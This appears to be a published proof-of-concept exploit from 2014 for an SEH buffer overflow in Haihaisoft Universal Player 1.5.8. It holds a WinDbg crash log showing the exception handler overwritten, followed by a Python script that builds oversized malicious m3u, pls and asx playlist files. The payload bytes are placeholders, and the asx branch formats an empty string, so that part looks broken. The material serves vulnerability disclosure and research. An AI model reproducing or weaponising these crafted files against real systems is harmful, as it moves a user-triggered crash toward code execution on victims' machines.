#-----------------------------------------------------------------------------# # Exploit Title: Haihaisoft Universal Player 1.5.8 - Buffer Overflow (SEH) # # Date: Mar 25 2014 # # Exploit Author: Gabor Seljan # # Software Link: http://www.haihaisoft.com/hup.aspx # # Version: 1.5.8.0 # # Tested on: Windows XP SP3 # #-----------------------------------------------------------------------------# # (6ec.57c): Access violation - code c0000005 (first chance) # First chance exceptions are reported before any exception handling. # This exception may be expected and handled. # eax=00000000 ebx=44444444 ecx=0000000f edx=00000000 esi=04bae7d0 edi=44444448 # eip=0069537f esp=04cb7b18 ebp=04cb7b58 iopl=0 nv up ei pl nz na pe nc # cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206 # *** ERROR: Module load completed but symbols could not be loaded for mplayerc.exe # mplayerc+0x29537f: # 0069537f f3ab rep stos dword ptr es:[edi] # 0:005> g # (6ec.57c): Access violation - code c0000005 (first chance) # First chance exceptions are reported before any exception handling. # This exception may be expected and handled. # eax=00000000 ebx=00000000 ecx=43434343 edx=7c9032bc esi=00000000 edi=00000000 # eip=43434343 esp=04cb7748 ebp=04cb7768 iopl=0 nv up ei pl zr na pe nc # cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246 # 43434343 ?? ??? # 0:005> !exchain # 04cb775c: ntdll!RtlConvertUlongToLargeInteger+7e (7c9032bc) # 04cb7b4c: mplayerc+2e2e78 (006e2e78) # 04cb8b80: 43434343 # Invalid exception stack at 42424242 #!/usr/bin/python junk1 = "\x80" * 50; offset = "\x41" * 1591; nSEH = "\x42" * 4; SEH = "\x43" * 4; junk2 = "\x44" * 5000; evil = "http://{junk1}{offset}{nSEH}{SEH}{junk2}".format(**locals()) for e in ['m3u', 'pls', 'asx']: if e is 'm3u': poc = evil elif e is 'pls': poc = "[playlist]\nFile1={}".format(evil) else: poc = "".format(evil) try: print("[*] Creating poc.%s file..." % e) f = open('poc.%s' % e, 'w') f.write(poc) f.close() print("[*] %s file successfully created!" % f.name) except: print("[!] Error while creating exploit file!")